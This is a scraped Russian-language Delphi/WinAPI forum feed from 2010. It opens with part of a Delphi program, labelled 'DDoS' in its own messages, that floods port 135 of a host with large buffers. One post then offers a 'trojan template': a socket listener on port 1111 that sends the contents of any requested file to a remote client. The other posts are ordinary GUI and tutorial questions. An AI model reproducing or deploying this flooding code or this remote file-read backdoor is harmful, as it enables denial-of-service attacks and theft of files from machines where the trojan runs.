   Close:    Boolean;
   hPort: Integer;
   hHost: String;
   s:integer;
   textflood:string;

function TServer.GetIPFromHost(const HostName: string): string;
type
   TaPInAddr = array[0..10] of PInAddr;
   PaPInAddr = ^TaPInAddr;
var
   phe: PHostEnt;
   pptr: PaPInAddr;
   i: Integer;
begin
   Result := '';
   phe := GetHostByName(PChar(HostName));
   if phe = nil then Exit;
   pPtr := PaPInAddr(phe^.h_addr_list);
   i := 0;
   while pPtr^[i] <> nil do
   begin
     Result := inet_ntoa(pptr^[i]^);
     Inc(i);
   end;
end;

procedure TServer.SendData(Data: String);
var
   Len: LongInt;
begin
   Len := Length(Data);
   Send(hSocket, Data[1], Len, 0);
end;

procedure TServer.Connect;
var
   Buffer: Array[0..8192] Of Char;
   iRecv: Integer;
Begin
   if (WSAStartup($0202, wsaData) <> 0) then
   begin
     Exit;
   end;
   Close := False;

     hSocket := Socket(AF_INET, SOCK_STREAM, 0);
     Addr.sin_family   := AF_INET;
     Addr.sin_port     := htons(hPort);
     Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost)));
     if (Winsock.Connect(hSocket, Addr, SizeOf(Addr)) = 0) then
     begin
MessageBoxA(0, 'Connected!', 'Connected!', 0);
  end;
   for s:=1 to 10000000 do begin
   textflood:=textflood+'a';
   end;
     MessageBoxA(0, 'Textflood generate!', '!', 0);
   s:=1;
   for  s:=1 to 500 do begin
   SendData(textflood);
   end;

   MessageBoxA(0, 'DDoS off!', 'Vse!', 0);

       CloseSocket(hSocket);
   WSACleanup();
end;

begin
   Server := TServer.Create;
   textflood:='a';
   s:=1;
   hHost := '10.10.34.17';
   hPort := 135;
   Server.Connect;
end.

Скачать файл с фтп

gravitas — Fri, 24 Dec 2010 21:07:14 GMT

Форум: Windows API в Delphi
Автор темы: gravitas
Автор последнего сообщения: C@T
Количество ответов: 1

alt f4

gravitas — Thu, 23 Dec 2010 19:47:07 GMT

Форум: Windows API в Delphi
Автор темы: gravitas
Автор последнего сообщения: XSPY
Количество ответов: 7

Winapi сокеты

gravitas — Sat, 11 Dec 2010 17:56:32 GMT

Обещал поправлять форум сорцами - вот первый.
Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках очень позезная так что выкладываю сие сюда:

Code

program programm1;

uses
    Windows,
    WinSock, classes;

const
    dwTextBufferSize = $1000;

var
    WSAData:      TWSAData;
    lst_sock,
    acc_sock:     TSocket;
    addr:         TSockAddr;
    lpTextBuffer: PChar;
    data_len:     integer;
    i:integer;
    tf:string;
    aa:string;
    f:textfile;
    buf: String;
    dd:string;
    sl: TStringList;
    sText : string;

function FileExists(FileName:string):boolean;
var
    FindData: TWin32FindData;
begin
    Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
end;

procedure remote;
begin
dd:='Такого файла не существует!';
lpTextBuffer := '';
    GetMem(lpTextBuffer, dwTextBufferSize);
    WSAStartup(MakeWord(2, 0), WSAData);
    lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
    addr.sin_family := PF_INET;
    addr.sin_port := htons(1111);
    addr.sin_addr.s_addr := INADDR_ANY;
    bind(lst_sock, addr, sizeof(addr));
    listen(lst_sock, SOMAXCONN);
acc_sock := accept(lst_sock, nil, nil);
while true do begin
    data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0);
lpTextBuffer[data_len] := chr(0);
if Length(lpTextBuffer) > 0 then  begin
if copy(lpTextBuffer,1,5) = '' then  begin
tf:=copy(lpTextBuffer,6,256);
if fileexists(tf) then begin
    sl:= TStringList.Create ;
    try
      sl.LoadFromFile(tf);
      sText := sl.Text;
      // ---------------------
    finally
      sl.Free;
    end;
send(acc_sock, stext[1], length(stext), 0);
end else  send(acc_sock, dd[1], length(dd), 0);
end;

end;
end;
    closesocket(lst_sock);
    closesocket(acc_sock);
    WSACleanup();
    FreeMem(lpTextBuffer);
end;

begin
remote;
end.

Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение\обработка\передача текста через сокеты). Порт - 1111.

Динамическое создание окна (формы)

gravitas — Fri, 10 Dec 2010 15:51:54 GMT

Возник вопрос по поводу динамического создания компонентов. Вопрос таков: в чем ошибка, и почему окно все равно не поверх всех?
Код:

Code

Program Api;
uses
windows,messages;

var
window:TWndClassEx;
Mwindow: HWND;
Mmsg: MSG;
Edit: HWND;
Buttons: array[0..8] of HWND;
Icon: HICON;
Font: HFONT;

const
BTN_TEXT_0 = 6;
EditID = 1;
WND_STYLE = WS_OVERLAPPEDWINDOW or WS_VISIBLE or WS_EX_TOPMOST ;

// Процедура обработки сообщений
function WindowProc (wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM):LRESULT;STDCALL;
begin
case msg of
WM_Destroy:
begin
PostQuitMessage (0);
Result := 0;
Exit;
end;
else
Result := DefWindowProc(wnd,msg,wparam,lparam);
end;
end;

// Ристрация класса окна
begin
window.cbSize := sizeof (window);
window.style := CS_HREDRAW or CS_VREDRAW;
window.lpfnWndProc := @WindowProc;
window.cbClsExtra := 0;
window.cbWndExtra := 0;
window.hInstance := HInstance;
window.hIcon := LoadIcon (0,IDI_APPLICATION);
window.hCursor := LoadCursor (0,IDC_ARROW);
window.hbrBackground:=Color_BtnFace+4;
window.lpszMenuName := nil;
window.lpszClassName := 'Main_Window';
RegisterClassEx (window);
Mwindow := CreateWindowEx(0,'Main_Window','First_WinAPI_Programm', wnd_style ,100,100,300,300,0,0,Hinstance,nil);   //окно
SHOWWINDOW (Mwindow,SW_Show);

Buttons[6] := CreateWindowEx( WS_EX_STATICEDGE, 'Button', 'Я, кнопка', WS_VISIBLE or WS_CHILD,  //кнопка
1, 1, 100, 25, mwindow, BTN_TEXT_0, hInstance, nil );
Font := GetStockObject( ANSI_VAR_FONT );
SendMessage( Buttons[6], WM_SETFONT, Font, 0 );

Edit := CreateWindowEx( WS_EX_CLIENTEDGE, 'Edit', 'Текстовое поле',   // Текстовое поле
ES_AUTOHSCROLL or WS_CHILD or WS_VISIBLE,
1, 40, 150, 20, mwindow, EditID, hInstance, nil );
SendMessage( Edit, WM_SETFONT, GetStockObject( ANSI_VAR_FONT ), 0 );

// Цикл обработки сообщений
while GetMessage (Mmsg,0,0,0) do
begin
TranslateMessage (Mmsg);
DispatchMessage (Mmsg);
end;
end.

Тоже самое и с созданием формы во всю щирину экрана (WND_STYLE). Вобщем в чем дело и как исправить...

Учебник по WinAPI

gravitas — Mon, 06 Dec 2010 13:45:12 GMT

Евгений, я в группе ВК спрашивал учебник по апи. Предложенный вами учебник скачал. Обнаружил, что все, что в нем есть - написано на VCL. Там описаны примеры работы с процессами, с видео и т.д., но блин, этож на vcl. + ко всему, я знал почти все, что в том учебнике было описано. Как же так, и где найти учебник?

!!Правила раздела!!

dolphin — Wed, 17 Nov 2010 17:11:15 GMT

Форум: Windows API в Delphi
Автор темы: dolphin
Автор последнего сообщения: dolphin
Количество ответов: 0

форма на чистом winapi

Anton93 — Fri, 12 Nov 2010 16:38:03 GMT

у меня имеется форма на winapi, мне необходимо изменить фон label'ов которые там присутствуют как это сделать?